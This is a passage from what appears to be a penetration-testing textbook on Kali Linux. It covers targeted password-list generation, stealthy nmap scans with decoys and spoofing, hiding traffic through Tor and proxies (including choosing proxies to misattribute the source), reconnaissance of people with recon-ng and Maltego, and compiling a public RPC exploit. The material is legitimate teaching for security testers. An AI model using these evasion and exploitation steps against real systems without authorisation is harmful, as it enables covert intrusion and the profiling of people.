So far, you have learned to use passive reconnaissance to collect names and
biographical information for users of the target being tested; this is the same process
used by hackers. The next step is to use this information to create password lists
specific to the users and the target.
Lists of commonly used passwords are available for download, and are stored locally
on Kali in the /usr/share/wordlists directory. These lists reflect the choices of a
large population of users, and it can be time consuming for an application to attempt
to use each possible password before moving on to the next password in the queue.
Fortunately, Common User Password Profiler (CUPP) allows the tester to generate
a wordlist that is specific to a particular user. CUPP was present on Backtrack 5r3;
however, it will have to be downloaded for use on Kali. To obtain CUPP, enter the
following command:
git clone
This will download CUPP to the local directory.
CUPP is a Python script, and can be simply invoked from the CUPP directory by
entering the following command:
[email protected]:~# python -i
[ 61 ]
Identifying the Target – Passive Reconnaissance
This will launch CUPP in the interactive mode, which prompts the user for specific
elements of information to use in creating wordlist. An example is shown in the
following screenshot:
When the interactive mode has completed creating wordlist, it is placed in the
CUPP directory.
[ 62 ]
Chapter 2
The first real step in the attack process or kill chain is to conduct reconnaissance to
identify the target and potential attack routes. Passive reconnaissance assesses data
that is publicly available. This is a stealthy assessment—the IP address or activities
of the attacker are almost indistinguishable from normal access. Nevertheless, this
information can be critical when conducting social engineering attacks, or facilitating
other attack types.
In the next chapter, we will assess the types of reconnaissance that are more active.
Although these techniques produce more information, there is an increased risk of
detection. Therefore, the emphasis will be on advanced stealth techniques.
[ 63 ]
Active Reconnaissance and
Vulnerability Scanning
The objective of the reconnaissance phase is to gather as much information about the
target as possible in order to facilitate the exploitation phase of the kill chain.
We have seen how passive reconnaissance, which is almost undetectable, can yield
a significant amount of information about the target organization and its users.
Active reconnaissance builds on the results of open-source intelligence and passive
reconnaissance, and focuses on using probes to identify the path to the target and
the exposed attack surface of the target. In general, complex systems have a greater
attack surface, and each surface may be exploited and then leveraged to support
additional attacks.
Although active reconnaissance produces more information, and more useful
information, interactions with the target system may be logged, triggering alarms
by protective devices, such as firewalls and intrusion detection systems. As the
usefulness of the data to the attacker increases, so does the risk of detection; this
is shown in the following diagram:
Usefulness of data to
Operating system,
Infrastructure, application,
host detection, patch-level detection
port scans
OSINT, passive
Interaction with target,
chance of detection
Active Reconnaissance and Vulnerability Scanning
To improve the effectiveness of active reconnaissance in providing detailed
information, our focus will be on using stealthy, or difficult to detect, techniques.
In this chapter, you will learn:
• Stealth scanning strategies
• Network infrastructure, host discovery, and enumeration
• Comprehensive reconnaissance applications, especially recon-ng
• Targeted vulnerability scanning
Stealth scanning strategies
The greatest risk of active reconnaissance is the discovery by the target. Using the
tester's time and data stamps, the source IP address, and additional information,
the target can identify the source of the incoming reconnaissance. Therefore, stealth
techniques are employed to minimize the chances of detection.
When employing stealth to support reconnaissance, a tester mimicking the actions of
a hacker will do the following:
• Camouflage tool signatures to avoid detection and triggering an alarm
• Hide the attack within legitimate traffic
• Modify the attack to hide the source and type of traffic
• Make the attack invisible using nonstandard traffic types or encryption
Stealth scanning techniques can include some or all of the following:
• Adjusting source IP stack and tool identification settings
• Modifying packet parameters (nmap)
• Using proxies with anonymity networks (ProxyChains and Tor network)
Adjusting source IP stack and tool
identification settings
Before the penetration tester (or the attacker) begins testing, it must ensure that all
unnecessary services on Kali are disabled or turned off.
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For example, if the local DHCP daemon is enabled and is not required, it is possible
for the DHCP to interact with the target system, which could be logged and send
alarms to the target's administrators.
Most testers also disable IPv6 from running on the testing system. This will stop IPv6
from announcing your presence on the target network and ensure that all traffic is
first routed through an IPv4 socks proxy. Disabling IPv6 can be accomplished by
editing the /etc/sysctl.conf file to include the following lines:
#disable ipv6
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable = 1
Some commercial and open source tools (for example, the Metasploit Framework)
tag their packets with an identifying sequence. Although this can be useful in
post-test analysis of a system's event logs (where events initiated by a particular
testing tool can be directly compared to a system's event logs to determine how the
network detected and responded to the attack), it can also trigger certain intrusion
detection systems. Test your tools against a lab system to determine the packets that
are tagged, and either change the tag, or use the tool with caution.
The easiest way to identify tagging is to apply the tool against a newly-created
virtual image as the target, and review system logs for the tool's name. In addition,
use Wireshark to capture traffic between the attacker and target virtual machines,
and then search the packet capture (pcap) files for the any keywords that can be
attributed to the testing tool (name of the tool, vendor, license number, and so on).
The UserAgent in the Metasploit Framework can be changed by modifying the
http_form_field option. From the msfconsole prompt, select the option to use
auxiliary/fuzzers/http/http_form_field, and then set a new useragent, as
shown in the following screenshot:
In this example, UserAgent was set to be Google's indexing spider, the Googlebot.
This is a common automated application that visits and indexes websites, and rarely
attracts attention by the website's owner.
To identify legitimate UserAgents, refer to the examples at
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Modifying packet parameters
The most common approach to active reconnaissance is to conduct a scan against the
target—send defined packets to the target, and then use the returned packets to gain
information. The most popular tool of this type is Network Mapper (nmap).
To use nmap effectively, it must be run with root-level privileges. This is typical of
applications that manipulate packets, which is why Kali defaults to root at the time
of startup.
When attempting to minimize detection, some stealth techniques to avoid detection
and subsequent alarms include the following:
• Identify the goal of the scan before testing and send the minimum number
of packets needed to determine the objective. For example, if you wish to
confirm the presence of a web host, you first need to determine if port 80 ,
the default port for web-based services, is open.
• Avoid scans that may connect with the target system and leak data. Do not
ping the target or use synchronize (SYN) and nonconventional packet scans,
such as acknowledge (ACK), finished (FIN), and reset (RST) packets.
• Randomize or spoof packet settings, such as the source IP and port address,
and the MAC address.
• Adjust the timing to slow the arrival of packets at the target site.
• Change the packet size by fragmenting packets or appending random data to
confuse packet inspection devices.
For example, if you want to conduct a stealthy scan and minimize detection, the
following nmap command could be used:
#nmap --spoof-mac- Cisco --data-length 24 –T paranoid –max-hostgroup
1 – max-parallelism 10 -PN -f –D,RND:5,ME --v –n –sS
–sV–oA /desktop/pentest/nmap/out –p T:1-1024
The following table explains the previous command in detail:
--data-length 24
Appends twenty-four random bytes to most packets
that are sent.
-T paranoid
Sets the time to the slowest setting—paranoid.
Spoofs the MAC address to match a Cisco product.
Replacing Cisco with 0 will create a completely
random MAC address.
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-- max-hostgroup
-- max-parallelism
Limits the number of outstanding probes that are
sent out. You can also use the --scan-delay
option to set a pause between the probes; however,
this option is not compatible with the --max_
parallelism option.
Does not ping to identify active systems
(this can leak data).
Fragments the packets; this will frequently fool
low-end and improperly configured IDs.
-D, RND:5,ME
Creates decoy scans to run simultaneously with the
attacker's scans; hides the actual attack.
No DNS resolution; internal or external DNS
servers are not actively queried by nmap for DNS
information. Such queries are frequently logged, so
the query function should be disabled.
Conducts a stealth TCP SYN scan, which does not
complete the TCP handshake. Other scan types
(for example, Null scans) can also be used; however,
most of these will trigger detection devices.
Enables version detection.
-oA /desktop/pentest/nmap
Outputs the results to all formats (normal, greppable,
and XML).
-p T:1-1024
Specifies the TCP ports to be scanned.
-- random-hosts
Randomizes the target host order.
Limits the hosts that are scanned at a time.
Together, these options will create a very slow scan that hides the true identity of
the source. However, if the packets are too unusual, complex modification may
actually attract the attention of the target; therefore, many testers and attackers use
anonymity networks to minimize detection.
Using proxies with anonymity networks
(Tor and Privoxy)
Tor ( is an open source implementation of the third
generation onion routing that provides free access to an anonymous proxy network.
Onion routing enables online anonymity by encrypting user traffic and then
transmitting it through a series of onion routers. At each router, a layer of encryption
is removed to obtain routing information, and the message is then transmitted to the
next node. It has been likened to the process of gradually peeling an onion, hence
the name. It protects against traffic analysis attacks by guarding the source and
destination of a user's IP traffic.
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In this example, Tor will be used with Privoxy, a noncaching web proxy that sits in
the middle of an application that communicates with the Internet, and uses advanced
filtering to ensure privacy and remove ads and potentially hostile data being sent to
the tester.
To install Tor, perform the following steps:
1. Issue the apt-get update and apt-get upgrade commands, and then use
the following command:
apt-get install tor
2. Once Tor is installed, edit the Proxychains.conf file located in the
/etc directory.
This file dictates the number and order of proxies that the test system will
use on the way to the Tor network. proxy servers may be down, or they
may be experiencing a heavy load (causing slow or latent connections); if
this occurs, a defined or strict proxychain will fail because an expected link
is missing. Therefore, disable the use of strict_chains and enable
dynamic_chains, which ensures that the connection will be routed, as
shown in the following screenshot:
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3. Next, edit the [ProxyList] section to ensure that the socks5 proxy is
present, as shown in the following screenshot:
Open proxies can be easily found online and added to the proxychains
file. Testers can take advantage of this to further obfuscate their identity.
For example, if there are reports that a certain country or block of IP
addresses has been responsible for recent online attacks, look for open
proxies from that location and add them to your list, or a separate
configuration file.
4. To start the Tor service from a terminal window, enter the
following command:
[email protected]:~# service tor start
5. Verify that Tor has started by using the following command:
[email protected]:~# service tor status
6. It is important to verify that the Tor network is working and providing
anonymous connectivity. Verify your source IP address first. From a
terminal, enter the following command:
[email protected]:~# iceweasel
This will start the Iceweasel browser and open it to a site that provides the
source IP address connected with that web page. Note the IP address, and
then invoke Tor routing using the following proxychains command:
[email protected]:~# proxychainsiceweasel
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In this particular instance, the IP address was identified as A whois
lookup of that IP address from a terminal window indicates that the transmission is
now exiting from a Tor exit node, as shown in the following screenshot:
You can also verify that Tor is functioning properly by accessing
Although communications are now protected using the Tor network, it is possible for
a DNS leak, which occurs when your system makes a DNS request to provide your
identity to an ISP. You can check for DNS leaks at
When you test for a DNS leak, Kali's configuration of proxychains responds with a
default source IP address of a Level 3 Communications server located in the United
States, as shown in the following screenshot. This provides additional protection for
the tester's identity.
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Most command lines can be run from the console using proxychains to access the
Tor network.
When using Tor, some considerations to be kept in mind are as follows:
• Tor provides an anonymizing service, but it does not guarantee privacy.
Owners of the exit nodes are able to sniff traffic, and reportedly may be able
to access user credentials.
• Vulnerabilities in the Tor Browser Bundle have reportedly been used by law
enforcement to exploit systems and gain user information.
• ProxyChains does not handle UDP traffic.
• Some applications and services cannot run over this environment—in
particular, Metasploit and nmap may break. The stealth SYN scan of nmap
breaks out of proxychains and the connect scan is invoked instead; this can
leak information to the target.
• Some browser applications (ActiveX, Adobe's PDF applications, Flash, Java,
RealPlay, and QuickTime) can be used to obtain your IP address.
• Ensure that you clear and block cookies before browsing.
The Tor-Buddy script allows you to control how frequently the Tor IP
address is refreshed, automatically making it more difficult to identify
the user's information (
Identifying the network infrastructure
Once the tester's identity is protected, identifying the devices on the Internetaccessible portion of the network is the next critical first step in scanning a network.
Attackers and penetration testers use this information to do the following:
• Identify devices that may confuse (load balancers) or eliminate
(firewalls and packet inspection devices) test results
• Identify devices with known vulnerabilities
• Identify the requirement for continuing to implement stealthy scans
• Gain an understanding of the target's focus on secure architecture and
on security in general
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traceroute provides basic information on packet filtering abilities; some other
applications on Kali include the following:
Uses two DNS- and HTTP-based techniques to detect load balancers
(shown in the following screenshot)
Identifies universal plug-and-play and UPNP devices
Detects devices and determines the operating systems and their version
Web-based search engine that identifies devices connected to
the Internet, including those with default passwords, known
misconfigurations, and vulnerabilities
The following screenshot shows the results obtained on running the lbd script
against Google; as you can see, Google uses both DNS-Loadbalancing as well
as HTTP-Loadbalancing on its site. From a penetration tester's perspective, this
information could be used to explain why spurious results are obtained, as the load
balancer shifts a particular tool's activity from one server to another.
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Enumerating hosts
Host enumeration is the process of gaining specific particulars regarding a defined
host. It is not enough to know that a server or wireless access point is present;
instead, we need to expand the attack surface by identifying open ports, the base
operating system, services that are running, and supporting applications.
This is highly intrusive and unless care is taken, the active reconnaissance will be
detected and logged by the target organization.
Live host discovery
The first step is to run network ping sweeps against a target address space and look
for responses that indicate that a particular target is live and capable of responding.
Historically, pinging referred to the use of ICMP; however, TCP, UDP, ICMP, and
ARP traffic can also be used to identify live hosts.
Various scanners can be run from remote locations across the Internet to identify live
hosts. Although the primary scanner is nmap, Kali provides several other applications
that are also useful, as shown in the following table:
alive6 and detect-new-ip6
IPv6 host detection. detect-new-ip6 runs on a
scripted basis and identifies new IPv6 devices when
dnmap and nmap
nmap is the standard network enumeration tool.
dnmap is a distributed client-server implementation
of the nmap scanner.
PBNJ stores nmap results in a database, and then
conducts historical analyses to identify new hosts.
fping, hping2, hping3, and
Packet crafters that respond to targets in various
ways to identify live hosts
To the penetration tester or attacker, the data returned from live host discovery will
identify the targets for attack.
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Run multiple host discovery scans while conducting a penetration test.
Certain devices may be time dependent. During one penetration test,
it was discovered that the system administrator set up a game server
after regular business hours. Because it was not an approved business
system, the administrator did not follow the normal process for securing
the server; multiple vulnerable services were present, and it had not
received necessary security patches. Testers were able to compromise the
game server and gain access to the underlying corporate network using
vulnerabilities in the administrator's game server.
Port, operating system, and service
Kali provides several different tools useful for identifying open ports, operating
systems, and installed services on remote hosts. The majority of these functions
can be completed using nmap. Although we will focus on examples using nmap,
the underlying principles apply to the other tools as well.
Port scanning
Port scanning is the process of connecting to TCP and UDP ports to determine what
services and applications are running on the target device. There are 65,535 ports
each for both TCP and UDP on each system. Some ports are known to be associated
with particular services (TCP 20 and 21 are the usual ports for the file transfer
protocol service (FTP)). The first 1,024 are the well-known ports, and most defined
services run over ports in this range; accepted services and ports are maintained
by IANA (
Although there are accepted ports for particular services, such as port
80 for web-based traffic, services can be directed to use any port. This
option is frequently used to hide particular services, particularly if
the service is known to be vulnerable to attack. However, if attackers
complete a port scan and do not find an expected service, or find it
using an unusual port, they will be prompted to investigate further.
The universal port mapping tool, nmap, relies on active stack fingerprinting.
Specially crafted packets are sent to the target system, and the response of the OS
to those packets allows nmap to identify the OS. In order for nmap to work, at least
one listening port must be open, and the operating system must be known and
fingerprinted, with a copy of that fingerprint in the local database.
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Using nmap for port discovery is very noisy—it will be detected and logged by
network security devices. Some points to remember are as follows:
• Attackers and penetration testers focused on stealth will test only the ports
that impact the kill chain they are following to their specific target. If they
are launching an attack that exploits vulnerabilities in a web server, they will
search for targets with port 80 or port 8080 accessible.
• Most port scanners have default lists of ports that are scanned—ensure that
you know what is on that list and what has been omitted. Consider both TCP
and UDP ports.
• Successful scanning requires a deep knowledge of TCP/IP and related
protocols, networking, and how particular tools work. For example, SCTP
is an increasingly common protocol on networks, but it is rarely tested on
corporate networks.
• Port scanning, even when done slowly, can impact a network. Some older
network equipment and equipment from specific vendors will lock when
receiving or transmitting a port scan, thus turning a scan into a denial of
service attack.
• Tools used to scan a port, particularly nmap, are being extended with regards
to functionalities. They can also be used to detect vulnerabilities and exploit
simple security holes.
Fingerprinting the operating system
Determining the operating system of a remote system is conducted using two types
of scans:
• Active fingerprinting: The attacker sends normal and malformed packets to
the target and records its response pattern, referred to as the fingerprint. By
comparing the fingerprint to a local database, the operating system can be
• Passive fingerprinting: The attacker sniffs, or records and analyses the packet
stream to determine the characteristics of the packets.
Active fingerprinting is faster and more accurate than passive fingerprinting. In Kali,
the two primary active tools are nmap and xprobe2.
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The nmap tool injects packets into the target network and analyses the response that
it receives. In the following screenshot, the -O flag commands nmap to determine
the operating system. Because it injects the packet into the target, the accuracy of
the determination of the operating system by nmap is based on the number of open
ports. It is usually effective at differentiating Windows from Unix systems, but it may
not provide very specific information, such as differentiating between various Unix
kernels. The following screenshot shows results from an nmap scan of a Windows
system. Only a few ports on the target system are available for testing, so it cannot
differentiate between Windows 7 enterprise and Windows XP sp3
A related program, xprobe2, uses different TCP, UDP, and ICMP packets to bypass
firewalls and avoid detection by IDS/IPS systems. xprobe2 also uses fuzzy pattern
matching—the operating system is not identified as definitely being one type;
instead, it is assigned the probability of being one of several possible variants.
As you can see in the following screenshot, this allows the tester to test
vulnerabilities that are specific to the operating system variants; this specificity
increases the chances of success and minimizes the risks that can occur when an
exploit is attempted with the wrong tool.
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Note that it is simple for the target system to hide the true operating system. Since
fingerprinting software relies on packet setting, such as time-to-live or the initial
windows size, changes to these values or other user-configurable settings can change
the tool results. Some organizations actively change these values to make the final
stages of reconnaissance more difficult.
Determining active services
The final goal of the enumeration portion of reconnaissance is to identify the
services and applications that are operational on the target system. If possible, the
attacker would want to know the service type, vendor, and version to facilitate the
identification of any vulnerability.
The following are some of the several techniques used to determine active services:
• Identify default ports and services: If the remote system is identified as
having a Microsoft operating system with port 80 open (the WWW service),
an attacker may assume that a default installation of Microsoft IIS is installed.
Additional testing will be used to verify this assumption (nmap).
• Banner grabbing: This is done using tools such as amap, netcat, nmap,
and Telnet.
• Review default web pages: Some applications install with default
administration, error, or other pages. If attackers access these, they will
provide guidance on installed applications that may be vulnerable to attack.
In the following screenshot, the attacker can easily identify the version of
Apache Tomcat that has been installed on the target system.
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• Review source code: Poorly configured web-based applications may
respond to certain HTTP requests such as HEAD or OPTIONS with a
response that includes the web server software version, and possibly, the
base operating system or the scripting environment in use. In the following
screenshot, netcat is launched from the command line and used to send
raw HEAD packets to a particular website. This request generates an error
message (404 not found); however, it also identifies that the server is running
Microsoft IIS, Version 7.5.
Employing comprehensive
reconnaissance applications
Although Kali contains multiple tools to facilitate reconnaissance, many of the tools
contain features that overlap, and importing data from one tool into another is
usually a complex manual process. Most testers select a subset of tools and invoke
them with a script.
Comprehensive tools focused on reconnaissance were originally command-line tools
with a defined set of functions; one of the most commonly used was Deepmagic
Information Gathering Tool (DMitry). DMitry could perform whois lookups,
retrieve information, search for subdomains and e-mail addresses, and
perform TCP scans. Unfortunately, it was not extensible beyond these functions.
Recent advances have created comprehensive framework applications that combine
passive and active reconnaissance; we'll review nmap, recon-ng, and maltego.
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Traditionally, nmap was perceived as a simple mapping tool that provided data
on host and port availability, as well as some additional data such as the probable
operating system of target devices.
The Nmap Scripting Engine (NSE) has transformed nmap into a tool that can
conduct passive and active reconnaissance, and even perform basic vulnerability
scanning (a full list of scripts is available at
Because scripts are written in the Lua scripting language, it is easy for the
penetration testing community to modify and release scripts. Presently, scripted
functions include the following:
• Reconnaissance of IPv4 and IPv6 DNS data
• Identifying the presence of web application firewalls, IDS, IPS, and other
protective controls
• Testing the firewall rulesets (via firewalk) and attempting to bypass
the firewall
• Harvesting user names from target and online sites
• Brute-force guessing of passwords against a variety of services
and applications
• Crawling the target network to identify network shares
• Extracting of EXIF metadata from images in a defined website
• Geographical localization of IP addresses
• Conducting network attacks such as IPv6 packet flooding
• Vulnerability scanning, including fuzzing and SQL injection testing
As you can see, the ability to script nmap activities using an extensible language such
as Lua has increased the importance of this tool.
A useful script is Marc Ruef's vulscan (
software/nmap_nse_vulscan-1.0.tar.gz), which combines the fingerprinting
feature of nmap (using the –sV flag) with lookups against major vulnerabilities, such
as MITRE, OSVDB, and SecurityFocus.
Once you have downloaded the script package, untar the file and move the script
files to usr/share/nmap/scripts.
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To invoke one of the scripts from the command line, use the --script flag, and
then identify the script name. One script that is frequently used is nmap's general
vulnerability scanner, launched using the following command:
[email protected]:~# nmap -sV --script=vulscan.nse
In this particular case, the vulnerability scan did not identify any vulnerabilities with
known exploits, as shown in the following screenshot:
A must-have script is the SpiderLabs script to screenshot web services.
It requires the wkhtmltoimage tool to be downloaded (http:// and placed in the /usr/local/
bin folder. The screenshot script itself should then be downloaded
master/NSE/http-screenshot.nse) and placed in /usr/local/
share/nmap/scripts. When invoked, this script produces a visual
record of all the identified web services, making it easier to select a
target for testing later.
The recon-ng framework
The recon-ng framework is an open source framework for conducting
reconnaissance (passive and active).
Like the Metasploit Framework and Social Engineer Toolkit, recon-ng uses a
modular framework. Each module is a customized cmd interpreter, preconfigured
to perform a specific task.
The recon-ng framework and its modules are written in Python, allowing
penetration testers to easily build or alter modules to facilitate testing.
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The recon-ng tool leverages third-party APIs to conduct some assessments; this
additional flexibility means that some activities undertaken by recon-ng may be
tracked by those parties. Users can specify a custom UserAgent string or proxy
requests to minimize alerting the target network.
All data collected by recon-ng is placed in a database, allowing you to create
various reports against the stored data. The user can select one of the report
modules to automatically create either a CVS report, or an HTML report.
To use recon, perform the following steps:
1. If recon-ng is not installed on your version of Kali, use the
following command:
apt-get install recon-ng
2. To start the application, enter recon-ng at the prompt as shown in
the following screenshot. The start screen will indicate the number of
modules present, and the help command will show the commands
available for navigation.
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3. To show the available modules, type show at the recon-ng> prompt. To load
a specific module, type load followed by the name of the module. Hitting
the tab key while typing will autocomplete the command. If the module has
a unique name, you can type in the unique part of the name, and the module
will be loaded without entering the full path.
Entering info, as shown in the following screenshot, will provide you
with information on how the module works, and where to obtain API keys
if required.
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4. Once the module is loaded, use the set command to set the options, and then
enter run to execute, as shown in the following screenshot:
In general, testers rely on recon-ng to do the following:
• Harvest contacts using whois, jigsaw, linkedin, and twitter
(use the mangle module to extract and present e-mail data)
• Identify hosts
• Identify geographical locations of hosts and individuals using hostop,
ipinfodb, maxmind, uniapple, and wigle
• Identify host information using netcraft and related modules
• Identify account and password information that has previously been
compromised and leaked onto the Internet (the pwnedlist modules,
wascompanyhacked, xssed, and punkspider)
Maltego ( is an open source intelligence and forensics application.
The community version included with Kali sets limits on the size of searches;
however, it is an excellent tool for visualizing relationships among data that use
data mining and link analysis.
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Maltego allows you to enumerate personal information, linking a particular person
with a company, e-mail addresses, websites, social networking groups, and phone
numbers. It also facilitates passive and active reconnaissance of whois information,
domain names, DNS information, IP addresses, and netblocks.
1. To open the application, enter maltego as a command prompt. The first time
you open it, you will be required to register and verify your e-mail address
with Paterva.
2. Once you have completed registration and updating of transforms,
you will be presented with a multipaned GUI that allows you to
examine the connections between various data objects, as shown in
the following screenshot:
Maltego relies on a series of transforms or modules that are stored in a
palette on the left-hand side of the application. Transforms are selected by
picking them from the column on the left and then dragging them into the
centre of the application.
By default, the icon may be called when initially selected;
however, you can use the data manipulation areas in the right-hand column
to rename and change data.
Several different transforms exist in the community edition; these are
sorted into several groups such as Devices, Infrastructure, Personal,
Locations, Penetration Testing, and Social Network, as shown in the
following screenshot:
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3. Drag the appropriate transform onto the work sheet and right-click to reveal
the transformations that will be completed against that transform's identity.
Keep in mind that if you select the All option, processing will take
a significant amount of time.
The ability to analyze relationships is particularly useful in performing social
engineering attacks. For example, if the target's website contains multiple links to
another website, an attacker could use this relationship for a phishing attack.
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Vulnerability scanning
Vulnerability scanning employs automated processes and applications to
identify vulnerabilities in a network, system, operating system, or application
that may be exploitable.
When performed correctly, a vulnerability scan delivers an inventory of devices
(both authorized and rogue devices), known vulnerabilities that have been actively
scanned for, and usually a confirmation of how compliant the devices are with
various policies and regulations.
Unfortunately, vulnerability scans are loud—they deliver multiple packets that are
easily detected by most network controls and make stealth almost impossible to
achieve. They also suffer from the following additional limitations:
• For the most part, vulnerability scanners are signature based—they can only
detect known vulnerabilities, and only if there is an existing recognition
signature that the scanner can apply to the target. To a penetration tester,
the most effective scanners are open source and allow the tester to rapidly
modify code to detect new vulnerabilities.
• Scanners produce large volumes of output, frequently containing falsepositive results that can lead a tester astray; in particular, networks with
different operating systems can produce false-positives with a rate as high as
seventy percent.
• Scanners may have a negative impact on the network—they can create
network latency or cause the failure of some devices (refer to the Network
Scanning Watch List at, for devices known to fail as a
result of vulnerability testing).
• In certain jurisdictions, scanning is considered as hacking, and may constitute
an illegal act.
There are multiple commercial and open source products that perform vulnerability
scans. In Kali, scanning tools can be found in the Vulnerability Analysis
submenu, as well as the Web Vulnerability Scanners menu; however, the primary
vulnerability scanner is Open Vulnerability Assessment System (OpenVAS).
Kali supports the installation of additional scanners. If it is decided to sacrifice
stealth for completeness during testing, always employ at least two different
scanners to minimize false-positive results. Recommended scanners include
Nexpose ( and the venerable Nessus (
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During active reconnaissance, the attackers face a very real chance of their activities
being identified, putting them at risk. This must be balanced against the need to map
a network, find open ports, and determine the operating system and applications
that are installed.
To reduce risks, attackers must adopt stealthy scanning techniques. Manual
approaches are used to create slow scans; however, this approach is not always
effective. Therefore, attackers take advantage of tools such as the Tor network and
various proxying applications to hide their identity.
In the next chapter, we will focus on analyzing the data from the reconnaissance
stages and from other sources, and using it to plan and execute a remote exploit
against a target network or system. We will review various attack techniques and
tools and focus on how to ensure that the exploit cannot be detected by normal
means. We will also examine remote exploitation as a continuous process—once you
have compromised one target, how to leverage that success to pivot to new targets.
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The goal of passive and active reconnaissance is to identify the exploitable security
flaws that are most likely to support the tester's or attacker's objective (denial of
service, theft, or modification of data). The exploit phase of the kill chain focuses on
creating the access to achieve the objective—either stopping the access to a target by
creating a denial of service or the more common approach of establishing persistent
access to the target from the attacker.
The penetration tester must be concerned with the following aspects of the
exploit phase:
• Was the target fully characterized? If the attacker does not understand the
network and host architecture of the target, the attack will fail and there will
be an increased risk of detection.
• Is the exploit well known, with defined actions on the target system?
An uncharacterized exploit could have unintended consequences when
employed and the resulting damage could have a negative impact on the
testing process. Testers should validate all exploits in a known setting prior
to use.
• Is the exploit being conducted from a remote location or is it local on the
target system? A remote exploit is safer for the attacker because the chances
of being positively identified are lesser; however, a local exploit gives the
attacker more control over the exploit's action and reduces the possibility
of detection.
• What are the required post-exploit activities? If the attacker needs to
exfiltrate data from the target, then the exploit must support establishing
an interactive connection.
• Is persistent access to the compromised system required, or is the
compromise going to be short term? This will drive the requirement for
a stealthy approach.
Thousands of exploitable vulnerabilities have been identified, and most are
associated with at least one proof-of-concept code or technique to allow the system to
be compromised. Nevertheless, the underlying principles that govern success are the
same across networks, operating systems, and applications.
In this chapter you will learn:
• Threat modeling
• Using online and local vulnerability resources
• Exploiting a remote target using the Metasploit Framework
• Exploiting multiple targets with Armitage
• Bypassing IDs and antivirus detection
Threat modeling
The passive and active reconnaissance phases map the target network and
system and identify vulnerabilities that may be exploitable to achieve the attacker's
objective. During this stage of the attacker's kill chain, there is a strong bias for
action—testers want to immediately launch exploits and demonstrate that they can
compromise the target. However, an unplanned attack may not be the most effective
means of achieving the object, and it may sacrifice the stealth that is needed to
achieve the objective of the attack.
Penetration testers have adopted (formally or informally) a process known as
threat modeling, which was originally developed by network planners to develop
defensive countermeasures against an attack.
Penetration testers and attackers have turned the defensive threat modeling
methodology on its head to improve the success of an attack. Offensive threat
modeling is a formal approach that combines the results of reconnaissance and
research to develop an attack strategy. An attacker has to consider the available
targets and identify the type of targets listed as follows:
• Primary targets: These targets when compromised, these targets will
immediately support the objective.
• Secondary targets: These targets may provide information (security controls,
password and logging policies, and local and domain administrator names
and passwords) to support an attack or allow access to a primary target.
• Tertiary targets: These targets may be unrelated to the testing or attack
objective, but are relatively easy to compromise and may provide
information or a distraction from the actual attack.
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For each target type, the tester has to determine the approach to be used. A single
vulnerability can be attacked using stealth techniques or multiple targets can be
attacked using a volume of attacks in order to rapidly exploit a target. If a large-scale
attack is implemented, the noise in the defender's control devices will frequently cause
them to minimize logging on the router and firewall or even fully disable them.
The approach to be used will guide the selection of the exploit. Generally, attackers
follow an attack tree methodology when creating a threat model, as shown in the
following diagram:
Need to acquire
engineer’s email
Compromise the
engineer’s server
Obtain access
credentials using
keyboard logger
Exploit known
buffer overflow to
gain root access
vulnerability in
web access
The attack tree approach allows the tester to easily visualize the attack options that
are available and the alternative options that can be employed if a selected attack is
not successful. Once an attack tree has been generated, the next step of the exploit
phase is to identify the exploits that may be used to compromise vulnerabilities in
the target.
Using online and local vulnerability
Together, passive and active reconnaissance identifies the attack surface of the
target, that is, the total number of points that can be assessed for vulnerabilities.
A server with just an operating system installed can only be exploited if there are
vulnerabilities in that particular operating system; however, the number of potential
vulnerabilities increases with each application that is installed.
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Penetration testers and attackers must find the particular exploits that will
compromise known and suspected vulnerabilities. The first place to start the search
is at vendor sites; most hardware and application vendors release information about
vulnerabilities when they release patches and upgrades. If an exploit for a particular
weakness is known, most vendors will highlight this to their customers. Although
their intent is to allow customers to test for the presence of the vulnerability
themselves, attackers and penetration testers will take advantage of this information
as well.
Other online sites that collect, analyze, and share information about vulnerabilities
are as follows:
• The National Vulnerability Database that consolidates all public
vulnerability data released by the US Government available at
• Secunia available at
• Open Source Vulnerability Database Project (OSVDP) available at
• Packetstorm security available at
• SecurityFocus available at
• Inj3ct0r available at
• The Exploit Database maintained by Offensive Security available at
The exploit database is also copied locally to Kali and it can be found in the /usr/
share/exploitdb directory. Before using it, make sure that it has been updated
using the following command:
cd /usr/share/exploitdb
tar -xvjf archive.tar.bz2
rm archive.tar.bz2
To search the local copy of exploitdb, open a terminal window and enter
searchsploit and the desired search term(s) in the command prompt. This will
invoke a script that searches a database file (.csv) that contains a list of all exploits.
The search will return a description of known vulnerabilities as well as the path to
a relevant exploit. The exploit can be extracted, compiled, and run against specific
vulnerabilities. Take a look at the following screenshot, which shows the description
of the vulnerabilities:
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The search script scans for each line in the CSV file from left to right, so
the order of the search terms is important—a search for oracle 10g
will return several exploits, but 10g oracle will not return any. Also,
the script is weirdly case sensitive; although you are instructed to use
lower case characters in the search term, a search for Bulletproof
FTP returns no hits, but bulletproof FTP returns seven hits, and
bulletproof ftp returns no hits. More effective searches of the CSV
file can be conducted using the grep command or a search tool such as
KWrite (apt-get install kwrite).
A search of the local database may identify several possible exploits with a
description and a path listing; however, these will have to be customized to your
environment, and then compiled prior to use. Copy the exploit to the /tmp directory
(the given path does not take into account that the /windows/remote directory
resides in the /platforms directory).
Exploits presented as scripts such as Perl, Ruby, and PHP are relatively easy to
implement. For example, if the target is a Microsoft II 6.0 server that may be vulnerable
to a WebDAV remote authentication bypass, copy the exploit to the root directory and
then execute as a standard Perl script, as shown in the following screenshot:
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Many of the exploits are available as source code that must be compiled before use.
For example, a search for RPC-specific vulnerabilities identifies several possible
exploits. An excerpt is shown in the following screenshot:
The RPC DCOM vulnerability identified as 76.c is known from practice to be
relatively stable. So, we will use it as an example. To compile this exploit, copy it
from the storage directory to the /tmp directory. In that location, compile using GCC
with the command as follows:
[email protected]:~# gcc 76.c -o 76.exe
This will use the GNU Compiler Collection application to compile 76.c to a file with
the output (-o) name of 76.exe, as shown in the following screenshot:
When you invoke the application against the target, you must call the executable
(which is not stored in the /tmp directory) using a symbolic link as follows:
[email protected]:~# ./76.exe
The source code for this exploit is well documented and the required parameters are
clear at the execution, as shown in the following screenshot:
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Unfortunately, not all exploits from exploit database and other public sources
compiled as readily as 76.c. There are several issues that make the use of such
exploits problematic, even dangerous, for penetration testers listed as follows:
• Deliberate errors or incomplete source code are commonly encountered as
experienced developers attempt to keep exploits away from inexperienced
users, especially beginners who are trying to compromise systems without
knowing the risks that go with their actions.
• Exploits are not always sufficiently documented; after all, there is no
